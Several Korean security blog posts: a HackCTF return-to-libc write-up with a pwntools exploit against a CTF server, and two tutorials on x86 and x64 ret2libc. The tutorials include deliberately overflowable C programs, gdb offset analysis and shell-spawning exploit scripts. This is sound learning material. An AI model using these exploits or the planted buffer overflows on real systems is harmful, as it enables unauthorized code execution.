문제 바이너리를 실행시키면 위와 같이 Segmentation fault가 떠서 nc 서버에 직접 접속하여 문제의 동작을 확인하였다.

문제에 접속하면 위와 같은 화면이 나오며 1~6번까지의 번호를 선택할 수 있다.

file 명령어로 문제 바이너리를 확인해보면 32비트 실행파일임을 확인할 수 있다.

peda에서 checksec 명령으로 미티게이션을 확인해보면 nx가 걸려있다.

IDA로 문제 바이너리를 보면 다음과 같다.

main 함수를 보면 1번 선택시 바이너리에 적용된 미티게이션을 보여주고 있다.

2번 선택 시 Get_Money() 함수를 실행시키고 있다.

3번 선택 시 gold가 1999 이상이면 v6변수의 주소를 출력하는데, v6 변수의 주소는 system함수의 주소를 의미한다.

4번 선택시 gold가 2999 이상이면 s1의 주소를 출력하는데, s1의 주소는 "/bin/sh" 문자열의 위치를 의미한다. 

이 두 값을 통해 문제 이름처럼 rtl 공격을 시도할 수 있을 것 같다.

5번 선택시 read 함수로 buf에 값을 입력받는데,  buf의 크기는 128인데 그 이상의 값을 입력받으므로 bof가 발생한다. 

 

Get_Money() 함수는 다음과 같다.

main() 함수에서 2번을 선택시 실행되는 함수로 보여지는 것은 3번 메뉴까지 있는것처럼 보여지지만 4를 입력시 hidden number 을 입력했다고 출력하며 gold에 v2 값을 추가한다. v2는 rand()함수의 값으로 매우 큰 난수를 반환한다. 

 

따라서 이 문제를 해결하려면 main 함수에서 2번을 선택하고, 4번을 선택하여 gold 값을 키우고 그 값을 이용하여 main의 3,4번메뉴를 선택하여 system 함수의 주소와 "/bin/sh"의 주소를 구해 페이로드를 작성하여 5번 메뉴를 통해 페이로드를 전달하면 문제를 해결할 수 있을 것 같다.

작성한 익스 코드는 다음과 같다.

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3010)

# make money
p.sendlineafter('>>> ', '2')
p.sendlineafter('>>> ', '4')

# get system
p.sendlineafter('>>> ', '3')
p.recvuntil('System Armor : ')
sys_addr = int(p.recv(10), 16)

# get shell
p.sendlineafter('>>> ', '4')
p.recvuntil('Shell Sword : ')
shell_addr = int(p.recv(10), 16)

# payload
pay = ''
pay += 'A' * 144
pay += p32(sys_addr)
pay += 'B' * 4
pay += p32(shell_addr)

p.sendlineafter('>>> ', '5')
p.sendlineafter('> ', pay)
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] Random Key  (0) 2021.07.28
[HackCTF] Poet  (0) 2021.07.27
[pwnable.kr] shellshock  (0) 2021.06.16
[pwnable.kr] input  (0) 2021.06.15
[HackCTF] BOF_PIE  (0) 2021.06.01

Solaris, Linux, FreeBSD, MacOS 에서는 System V AMD64 ABI 호출 규약을 사용한다. 해당 호출 규약은 다음과 같은 특징이 있다.

레지스터 RDI, RSI, RDX, RCX, R8 및 R9는 정수 및 메모리 주소 인수가 전달된다. 

레지스터 XMM0, XMM1, XMM2, XMM3, XMM4, XMM5, XMM6및 XMM7은 부동 소수점 인수가 전달된다. 반환값은 EAX에 저장된다.

 

System V AMD64 ABI 함수 호출 규약을 확인하기 위해 코드로 확인해보면 다음과 같다.

//gcc -o test test.c
#include <stdlib.h>
#include <stdio.h>
 
void vuln(int a,int b,int c,int d){
        printf("%d, %d, %d, %d",a,b,c,d);
}
 
void main(){
        vuln(1,2,3,4);
}

다음과 같이 각 레지스터에 저장된 vuln()함수의 인자 값을 확인할 수 있다.

vuln()함수는 printf()함수에 인자를 전달하기 위해 인자를 재배치 한다. printf()함수의 첫 번째 인자는 "%d, %d, %d, %d"이다.

printf()함수 호출하기 바로 전에 bp를 걸고 실행하여 각 레지스터에서 printf()함수에 전달되는 인자값을 확인할 수 있다.

rdi 주소에 저장된 값을 확인해보면 printf()함수의 첫 번째 인자인 "%d %d %d %d"임을 확인할 수 있다.

 

ret2libc 기법을 사용하기 위해서는 각 레지스터에 값을 저장할 수 있어야 한다. 

다음과 같은 방법으로 레지스터에 값을 저장할 수 있다.

- Return Address영역에 "pop rdi, ret" 코드가 저장된 주소 값을 저장한다.

- Return Address 다음 영역에 해당 레지스터에 저장할 인자 값을 저장한다. 

- 그 다음 영역에 호출할 함수의 주소를 저장한다.

이와 같은 방식을 ROP(Return-oriented programming)라고 한다. 

 

다음과 같은 구조로 ret2libc를 사용할 수 있다.

 

Return to Shellcode를 확인하기 위해 다음 코드를 사용한다.

// gcc -fno-stack-protector -o ret2libc ret2libc.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
 
void vuln(){
    char buf[50] = "";
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 100);
}
 
void main(){
    vuln();
}

main 함수는 vuln()함수를 호출한다. vuln()함수는 read()함수를 이용해 사용자로부터 100개의 문자를 입력받는다. 입력받는 변수인 buf의 크기가 50바이트이기 때문에 Stack Overflow가 발생한다. 

다음과 같이 3곳에 bp를 설정한다. 

vuln+0 : vlun()함수의 첫번째 명령어(vlun 함수 시작)

vuln+106 : read()함수 호출

vuln+113 : vlun()함수의 RET명령어

첫 bp까지 실행하면 다음과 같다.

rsp레지스터가 갖고 있는 최상위 stack의 주소는 0x7fffffffde58이다. 0x7fffffffde58 영역에는 Return Address(0x4006f6)이 저장되어 있다.

다음 bp까지 실행하면 다음과 같다.

buf 변수의 위치는 0x7fffffffde10 이며, Return Address의 위치와 72바이트 떨어져 있기 때문에 입력값을 72바이트 이상 입력하면 Retuen Address를 덮어쓸 수 있다.

위와 같이 72바이트 이상 입력하면 Return Address 값이 변경된 것을 확인할 수 있다.

 

다음과 같이 libc 영역에서 system()함수 주소를 찾을 수 있다.

다음과 같이 "/bin/sh" 문자열을 찾을 수 있다.

다음과 같이 ROP gadget을 찾을 수 있다.

 

찾은 정보들로 익스 코드를 작성하면 다음과 같다.

from pwn import *

p = process('./ret2libc64')

p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)

libcBase = stackAddr - 0x55810
sysAddr = libcBase + 0x453a0
binsh = libcBase + 0x18ce17
poprdi = 0x400763

print hex(libcBase)
print hex(sysAddr)
print hex(binsh)
print hex(poprdi)

ex = "A" * (80 - len(p64(sysAddr)))
ex += p64(poprdi)
ex += p64(binsh)
ex += p64(sysAddr)

p.send(ex)
p.interactive()

'Security & Hacking > Technical & etc.' 카테고리의 다른 글

[Pwnable] Frame faking(Fake EBP)_Lazenka  (0) 2021.05.24
[Pwnable] PIE 보호기법  (0) 2021.05.13
[Pwnable] ASLR 보호기법  (0) 2021.05.08
[Pwnable] RTL(Retrun To Libc) x86 _ Lazenca  (0) 2021.04.23
[System] DEP(NX bit)  (0) 2020.11.13

RTL은 Retuen Address 영역에 공유 라이브러리 함수의 주소로 변경해 해당 함수를 호출하는 방식이다. 이 기법을 통해 NX 보호기법을 우회할 수 있다.

공유 라이브러리는 컴파일을 할때 링커가 실행 파일에 사용할 공유 라이브러리를 표시하면 그 라이브러리에 있는 컴파일 된 코드를 가져와 사용한다. 리눅스는 기본적으로 공유 라이브러리가 있으면 그것과 링크를 시키고, 없으면 정적 라이브러리로 링크 작업을 한다.

인텔 x86 시스템, 리눅스 커널에서는 Cdecl 호출 규약을 사용한다. 이 호출 규약은 함수의 인자값을 stack에 저장하며 오른쪽에서 왼쪽 순서로 스택에 저장한다. 함수의 반환 값은 EAX 레지스터에 저장된다. 사용된 스택 정리는 해당 함수를 호출한 함수가 정리한다.

다음 코드를 32비트로 컴파일하고 gdb로 어셈블리 코드를 보면 다음과 같다.

// gcc -m32 -o test test.c
#include <stdio.h>
#include <stdlib.h>

void vuln(int a,int b,int c,int d){
        printf("%d, %d, %d, %d",a,b,c,d);
}

void main(){
        vuln(1,2,3,4);
}

다음과 같이 스택에 저장된 vlun 함수의 인자값들을 확인할 수 있다. vlun함수 실행전인 main+35에 breakpoint를 걸고 esp를 확인했다.

vuln 함수의 어셈 코드를 보면 다음과 같다.

push ebp로 main 함수에서 사용하던 호출 프레임을 스택에 저장한다. 이전 함수에서 사용하던 호출 프레임은 ebp 레지스터에 저장되어 있다. mov ebp, esp로 vlun 함수에서 사용할 새 호출 프레임이 ebp레지스터에 초기화 된다. ebp 레지스터를 통해 main 함수에서 전달된 인자값을 사용할 수 있다.

DWORD PTR [ebp+*] 영역으로 각각의 인자값을 확인할 수 있다.

ret2libc 기법 사용시 인자값을 전달하려면 Return Address의 4바이트 뒤에 인자 값을 전달해야 한다.

다음과 같이 코드를 작성하고 컴파일 하여 Return to Shellcode를 확인할 수 있다.

// gcc -fno-stack-protector -m32 -o ret2libc ret2libc.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

void vuln(){
    char buf[50] = "";
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 100);
}

void main(){
    vuln();
}

vuln 함수에서 buf 의 크기는 50이지만, read함수로 100크기의 문자를 받으므로 Stack Overflow 취약점이 발생할 수 있다.

gdb로 vuln 함수를 확인하면 다음과 같다.

breakpoint를 지정할 위치는 vuln의 시작점인 vuln+0, read함수를 호출하는 vuln+123, vurn함수의 ret명령이 있는 vuln+139의 세 위치를 지정할 것이다.

다음과 같이 Return Address를 확인할 수 있다.

첫번째 bp 까지 실행시킨 후 esp 레지스터가 가리키고 있는 최상위 스택의 주소는 0xffffd0cc이다. 이 0xffffd0cc 영역에 Return Address(0x56555659)가 저장되어 있다.

두번째 bp(read함수 호출)까지 실행하면 다음과 같이 buf 변수의 위치를 확인할 수 있다.

buf 변수의 위치는 0xffffd07a 이고, Return Address와 82바이트 떨어져 있다.

다음과 같이 82바이트 이상의 값을 넣으면 Return Address의 값이 변경됨을 확인할 수 있다.

system()함수는 인자 값으로 실행할 명령어의 경로를 문자열로 전달받는다. RTL기법으로 shell을 실행하려면 "/bin/sh"문자열을 전달하면 된다.

다음과 같이 libc 영역에서 system()함수를 찾을 수 있다.

또한 다음과 같이 libc start address를 찾을 수 있다. libc start address는 heap 영역 다음에 있다.

printf의 주소는 0xf7e29430 이므로 libc base 주소와 시스템 함수 주소의 오프셋은 다음과 같다.

또한 다음과 같이 "/bin/sh"문자열을 찾고, libc 시작 주소에서 "/bin/sh"까지의 오프셋도 구할 수 있다.

따라서 다음과 같이 익스 코드를 작성하면 쉘을 딸 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
 
= process("./ret2libc")
 
p.recvuntil("Printf() address : ")
stackaddr = p.recvuntil("\n")
stackaddr = int(stackaddr, 16)
 
libcbase = stackaddr - 0x51430
sysaddr = libcbase + 0x3d2e0
binsh = libcbase + 0x17e0af
 
print hex(libcbase)
print hex(sysaddr)
print hex(binsh)
 
exploit = "A" * (86 - len(p32(sysaddr)))
exploit += p32(sysaddr)
exploit += 'BBBB'
exploit += p32(binsh)
 
p.send(exploit)
p.interactive()
cs

 

'Security & Hacking > Technical & etc.' 카테고리의 다른 글

[Pwnable] Frame faking(Fake EBP)_Lazenka  (0) 2021.05.24
[Pwnable] PIE 보호기법  (0) 2021.05.13
[Pwnable] ASLR 보호기법  (0) 2021.05.08
[Pwnable] RTL(Retrun To Libc) x64_ Lazenca  (0) 2021.04.26
[System] DEP(NX bit)  (0) 2020.11.13

+ Recent posts